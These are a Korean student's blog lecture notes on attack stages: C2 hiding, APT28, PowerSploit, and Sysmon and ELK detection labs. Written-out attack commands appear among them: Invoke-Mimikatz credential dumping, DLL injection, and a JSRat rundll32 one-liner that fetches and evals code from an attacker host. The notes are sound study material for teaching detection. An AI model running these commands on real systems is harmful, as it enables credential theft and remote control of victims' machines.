패스트터틀

사이버 위협 공격의 단계(19.5.10) 본문

Cyber Security(undergraduate)/cyber threat

사이버 위협 공격의 단계(19.5.10)

SudekY 2019. 5. 10. 16:10

1일차(19.5.7)때 계속들었던것중 이어짐

 

C2(Command & Control)

 

c2가 필요한 이유는 악성코드와 상호작용을 위해 필요한것. 물론 악성코드는 자기 역할을 다하겠지만 추가적인 공격이 필요할경우도있기때문에 상호작용은 거의 필수적이라고 보면됨

공격자는 C2서버를 이용해서 악성코드 업데이트, 공격명령내릴수있음. C2연결 자체를 은닉하는것이 중요

왜냐하면 C2통신을 들키면 이미 은닉된 악성코드뿐만 드러날수있음.

대체적으로 위협그룹들은 정상적인 기업이나 온라인 서비스 처럼 유사한 이름을쓴다.

(Gmail등등..)

여하튼 이런식으로 사용자로 하여금 이런것을 오인하게끔 만드는것이 무조건적으로 필요하다.

C2는 피해컴퓨터랑 직접적으로 연결하지않음. 왜냐하면 들킬수있고 정말 하수적인 기법이기에

프록시서버를 이용하는데 피해시스템상에서 IP를 썼을때 IP노출이 일어나지 않음

(프록시IP밖에 얻지못함)(프록시서버는 대체적으로 악용이됨)

그래서 프록시 또한 일반 널려있는 서비스를 사용함..(Ex 사이트무엇인지 까먹음, censys)(디바이스 검색엔진)

(Google은 검색한걸 뿌려주고 자기들이 가진 기기 버젼이 무엇인지 알려줌)

(Moris warm처럼 or 구글처럼 ip정보의 기기들의 정보를 취득하기 위해서,취약한기기 찾음)

정찰단계에서 이런것을 사용해서 정찰함. 물론 C2서버를 본인들이 할수있지만 거의 안함. 

C2 - Proxy,Proxy.. - Zombie,Zombie,Zombie.Zombie.Zombie....

C2서버의 IP를 숨기는 방법은 위에 방법이구(프록시서버)

HTTPS 기반의 은닉채널 운용을 함(HTTP는 약속된것이고 거의 전부)

Fully -> C2-악성코드 연결 끝까지 Semi -> C2-악성코드 한시간에 한번씩만

DNS기반

DNS레코드사용해서 서버 url가지고 http에 있는 데이터영역에서 데이터를 가지고 왔다갔다 하는게 아니고

메일서버 기반의 은닉채너 운용

공격자가 직접 구축한 메일 서버나 공개된 공용 전자 메일 서비스를 이용하여 C2서버와 악성코드 간 통 수행

단점 피해시스템에 설치된 악성코드에도 공격자 계정정보도 가지고있어야함

메일서버는 딜레이가 있음(메일을 계속 확인할수없기때문에), 명령을 내린뒤에 한시간마다 피해시스템으로 도착한 메일이 있는지 없는지

 

Play with Powershell

 

(정찰단계가 공격에서 제일로 중요하다.)

 

Maltego

 

여러 검색엔진,기기검색엔진 등으로부터 데이터를 수집하는 기능 제공

수집하는 기능 뿐만 아니라, 수집한 데이터인 개체(Empty)를 기반으로 시각화 기능 제공

각 개체(Empty)마다의 Transform(일종의 함수로 특정 기능 수행)을 제공하여 정보수집의 편이성을 제공

(Free version은 가입을 해야만 사용할수있어서 사용가능)

실습:

Avengers endgame과 infinity를 검색해서 나온 배우들을 관계에서 나왔었음

해커들은 이것을 XX.com 을 치면은 메일서버, 데이터서버 등등 많은 정보 IP들도 나옴(네트워크망구조를 전부얻을수있음)

 

 

PowerSploit - gitbuh에 있음

 

 

PowerSploit.vol2.egg
2.20MB
PowerSploit.vol1.egg
10.00MB

 

PowerShell 관리자권한 실행

Import-Module PowerSploit(안될때 Set-ExecutionPolicy Bypass)

Get-Command -Module PowerSploit(PowerSploit이 쓰는 모듈과 커멘드타입정보가 나옴)

 

Invoke-Mimikatz (윈도우7 비밀번호찾기)

 

https://github.com/gentilkiwi/mimikatz

 

gentilkiwi/mimikatz

A little tool to play with Windows security. Contribute to gentilkiwi/mimikatz development by creating an account on GitHub.

github.com

윈도우7까지는 크레이데셔널정보가? 남아있어서 비밀번호를 풀수있다고함

 

[Dll Injection]

 

바탕화면에다가 dll놓고

HelloExe.exe
0.01MB
Hello.dll
0.01MB

 

Process Explorer 다운 : https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

 

Process Explorer - Windows Sysinternals

Find out what files, registry keys and other objects processes have open, which DLLs they have loaded, and more.

docs.microsoft.com

PowerSploit [Dll Injection]

Invoke-DllInjection -ProcessID [PID] -Dll [dll경로]

 

 

 

 

APT28

 

공격그룹 정보

APT28은 러시아 정부의 지원받는 국가 주도 해킹 러시아 그룹

그때 얘네들이 썼던 정상 도메인과 악성 도메인에 대한 정보를 보여줬음(Ex mail.ukr.net -> mail.ukrnet)

 

 

APT(Advanced Persistent Threat)

 

 

치밀하게 자신들의 행동을 숨기면서 목적을 달성하는것을 APT라고 보면됨.

대부분의 APT 공격은 공격의 시작 단계부터 계획에 따라 치밀하게 접근 및 공격을 수행

사회공학적 공격기법 : 웹,SNS 등의 발달을 통한 개인정보를 포함한 공격대상의 정보 수집 용이

 

APT공격단계

Reconnaissance - Initial - Compromise - Priviliege Excalation - Persistence - C2 - Asset DIscovery -

Lateral Movement - Data Exfitration

 

TTPs(Tactic별로 패턴화하기)

 

CTI & Threat Hunting

 

CTI(Cyber Threat Intelligence)

- 증거에 기반하여 기업의 IT 인프라나 정보자산에 위협이 될 수 있는 부분에 실행 가능한 조언(보안 조치 등)을 제시하기 위한 정보 -> 사이버 위협 대응에 도움이 될 수 있는 증거 지식&정보

 

CTI의 본질은 보안 정보를 공유하여 대응에 활용하는 커뮤니티 활동

OSINT : Open-Source Intelligence로 웹,SNS등 과 같이 누구나 접근할수 있는 공개된 출제로부터 얻은 정보

Cyber threat hunting is an active cyber defence activity.

 

EDR(Endpoint Detection and Response)

: 실시간으로 모니터링해서 기존의 패턴과 비교하여 감시하고 모니터링 및 대응을 제공하는 보안 솔루션

 

Sysmon

 

윈도우에서 기본으로 제공하는 이벤트 로그를 보완하기 위한 도구로, 프로세스 생성네트워크 연결 등의 이벤트 로그 확인 가능.

윈도우에서는 이벤트를 전부 거의 쌓는데 Sysmon을 사용하면 보안과 민감하게 관련된 이벤트 로그만 한번에 보기 편함

디바이스 드라이버 형태로 동작하며, Sysmon은 관리자 권한이 필요

 

Sysmon.egg
1.62MB

아래는 sysmon기본설정으로 너무 많은 쓸데없는것이 많기때문에

아래 기본템플렛을 제공해서 필요한것만 쓰라고 github(위 egg파일에 포함됨)에 있음

config파일로 특정 확장자만 바꿀수있어서 자신이 선택하여 로그를 볼수있다.

sysmonconfig-export.xml
0.09MB

Sysmon Configuration File은 sysmon에서는 xml,형태의 Configuration File을 이용하여 특정 이벤트 필터링 가능하다

커스터마이징하여 원하는 이벤트로그만 수집가능

 

Sysmon 탐지 종류

 

 

출처 : 이글루섹크 : http://www.igloosec.co.kr/BLOG_Sysinternals%20System%20Monitor(Sysmon)%EC%9D%84%20%EC%9D%B4%EC%9A%A9%ED%95%9C%20System%20%ED%83%90%EC%A7%80%EB%B0%A9%EC%95%88?searchItem=&searchWord=&bbsCateId=1&gotoPage=5

 

https://developer.microsoft.com/ko-kr/windows/downloads/virtual-machines

 

Windows 10 가상 머신 다운로드 - Windows 앱 개발

세션이 만료되었습니다. 계속하려면 다시 로그인하세요. 저장하지 않은 변경 내용은 손실됩니다.

developer.microsoft.com

- 윈도우10 개발환경 만들때 위 링크에서 다운로드

- Sysmon.egg 압축풀어서 넣기

 

아래블로그는 더 배우는곳 about sysmon

http://blog.plura.io/?p=5500

 

Sysmon(sysinternals)

Sysmon은 기본 윈도우 이벤트 로그로는 한계가 있는 프로세스 생성, 네트워크 연결 등을 이벤트화 할 수 있습니다. 사고 대응 관점에서 생성된 프로세스 목록과 네트워크 연결 로그는 사고를 재구성하는데 굉장히 도움이 됩니다. Sysmon은 별도의 모니터링 도구 없이 간단히 드라이버 설치만으로 이런 로그를 이벤트화 시켜줍니다. 1. Sysmon 설치 Sysmon을 설치 하시려면 먼저 PLURA Agent를

blog.plura.io

cmd(관리자)

sysmon.exe -accepteula -i sysmonconfig-export.xml -l -n (설치)

sysmon.exe -u (Uninstall)

 

메모장 껏다키고 Details - Description 확인해보기

olecfexport

악성문서파일

 

Olecfinfo

정보확인

 

Oledump

-s 옵션 붙히면 데이터 스트림 및 개별 확인 가능

의심되는 부분을 s붙혀서 하면 더 자세히 볼수있다.

 

olevba

 

 

리눅스기반의 악성코드 분석? 프로그램 으로 예상

(REMnux: A Linux Toolkit for Reverse-Engineering and Analyzing Malware)

실행하면 메뉴얼있다고함, 분석할일이있을때 활용하면 된다고 얘기했음

https://remnux.org/

 

REMnux: A free Linux Toolkit for Reverse-Engineering and Analyzing Malware

Download and Install the REMnux Distro The simplest way to get the REMnux distro is to download the REMnux virtual appliance file in the OVA format, then import it into your favorite virtualization application. After starting the resulting virtual machine,

remnux.org

 

 

아래 훼이크 악성코드 파일을 실행하면 Sysmon에서 확인해보기

 

README_by_‮txt.SCR
0.19MB

 

 

Dev Lab에서 WireShark로 확인해보기

 

우선 CMD로 IP확인후

 

Dev(Powershell)

Powershell 으로

Jsrat.ps1에 실행후 0,0,0,0에 자기 IP입력

> Powershell.exe -ExecutionPolicy Bypass -File c:\Lab\JSRat\jsrat.ps1(해당 경로에 있어야함)

입력

 

LAB(WireShark,Sysmon)

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.56.101/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

입력(IP는 공격자IP)후 > cmd 실행

Wireshark 키고 > 위의 명령어 입력

그러면 Dev에서 Listening도중 Lab 접속들어오면 > Dev에서 ipconfig후에 결과받고 wireshark 추적중단 > 밑에 사진 과정 확인

 

JSRat.egg
0.08MB

 

Dev 리스닝 ... 도중에

 

 

 

Wire Shark 위쪽 상단 톱니바퀴확인하면 나옴

 

Dev에서 Lab 으로 ipconfig 전송확인
Lab에서 Dev로 응답확인

 

TCPSTREAM
TCPSTREAM

 

EVENTVWR SYSMON에서 확인해보기

 

아까 배운내용 EventID : 3번은 Network == rundll32.exe 확인가능
Destina, SourceIP에서 Dev, Lab IP 확인가능

 

http://www.gnoti.com/index.php/2018/10/12/elk7/

 

ELK설치 7편 (Winlogbeat로 Windows모니터링) – Gnoti Home

Windows 기반 인프라의 상태를 확인하기 위해 Winlogbeat를 설치하고 Windows 이벤트 로그를 수집합니다

www.gnoti.com

 

 

ELK+WinLogBeat

 

CHROME설치 + jdk-8u211-windows-i586.exe 설치

 

ELK(ElasticSearch, Logstash, Kibana) 

E : 기반 분산형 검색 및 분석 엔진

L : 데이터 처리 파이프라인으로, 다양한 노드로부터 데이터를 수집, 변환 및 보관하는 기능

K : 데이터 시각화 기능을 제공하며, 다양한 시각적 기능을 이용하여 데이터 탐색 및 실시간 분석 가능

STACK : 클라이언트에 설치하는 에이전트로, 다양한 유형의 데이터를 Elastic Search 및 Logstash에 전송하는 기능 == 수집기

 

Beat

Winlogbeats Eventlog를 전달해주는 역할을 한다. S

 

Kibana가 최신버젼에서 x86을 지원하지 않음 x64비트로 가상환경구성

ELK는 Chrome에서만 되고, jdk가 필요함(위의내용)

 

ELK 설치(ElasticSearch, Logstash, Kibana,Beats)

https://www.elastic.co/kr/downloads/

 

Elastic Stack 다운로드 · 즉시 시작 | Elastic

5.x 버전 이전 플러그인 ShieldElastic Stack 데이터 보호.Watcher데이터 변경에 대한 알림 실행.MarvelElastic Stack 상태 모니터링.Reporting스케줄에 따른 Kibana 시각 보고서 생성.Graph데이터들 간의 관계도 분석.

www.elastic.co

 

CMD를 4개를 킨다.(1,2,3,4분면으로)

 

★ 설치순서도 있으니 elastic 부터 설치해야한다.

 

아래과정 전부 cmd에서 해줌(나는 설치를 못해서 못함)

ElasticSearch는 데이터정렬해주는것인데 따로 옵션필요없음

 

> cd ela.. ticsearch.bat 하고 실행

> jvm 로딩하고 등등 기다려준다.

 

결과가 이런식으로 뜸 : 

https://m.blog.naver.com/PostView.nhn?blogId=wideeyed&logNo=221179410434&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

127.0.0.1:9200 chrome브라우저 들어가서 확인해보기

 

 

sysmon.conf
0.00MB

위 파일은 logtash -> bin 밑에다가 넣기

 

winlogbeat.yml
0.01MB

위 파일은 winlogbeat.yml로 winlogbeat에 넣고 기존 yml은 백업해두기

 

그리고 앞과 동일하게 kibana.bat logstash.bat 설치

 

Winlogbeat 실행 : winlogbeat.exe -c winlogbeat.yml

 

후에 Kibana키고서

브라우저에 [Kibana가 설치 된 서버 주소]:5601 를 입력하여 Kibana에 접속한다.)

indexing을 하면은 (indexpettern - visualize - eventid 로 )

 

[Kibana에서 Index-Pattern 만들기]
1) http://localhost:5601 접속
2) 왼쪽 아이콘 중 3번째 Dashboard 접속
3) Index-Pattern 적는 칸에 logstash-winlogs 쓴 후, Next
4) 필드 고르는 란에서 event.created 선택 후, 우측에 있는 Create Index Pattern 클릭하면 패턴 생성 완료
5) 왼쪽 아이콘 중 2번째 Visualize->Create a Visualize

 

시각화로 볼수있음. 이벤트로그를 확인해보면 시각화로 인해 편하게 볼수있고 또한 IP에 따라서 시각화하면 자기가 할수있는 기능들을 써서 눈에 보기 편하게 로그를 분석할수있음

 

연습할때는 VMware(VB보다 빠름,램높이고,최적화하면)하고 악성코드 sample구해서 이벤트 패턴확인해보면 좋은 경험이 될수도있음

그리고 필터링이 너무많거나 그러면 sysmon자체 필터링을 넣거나 ELK로그를 수정해보거나 하면 좋을수있음

ELK를 설치하고 Client의 몇십 몇백개를 연결하면 여러 클라이언트의 자료를 하나로 모을수있다.

 

대쉬보드로 잘설정한것들~~ 아래링크 참고
- 참고 링크 : https://cyberwardog.blogspot.com/2017/03/building-sysmon-dashboard-with-elk-stack.html

 

 

 

 

 

 

 

 

Comments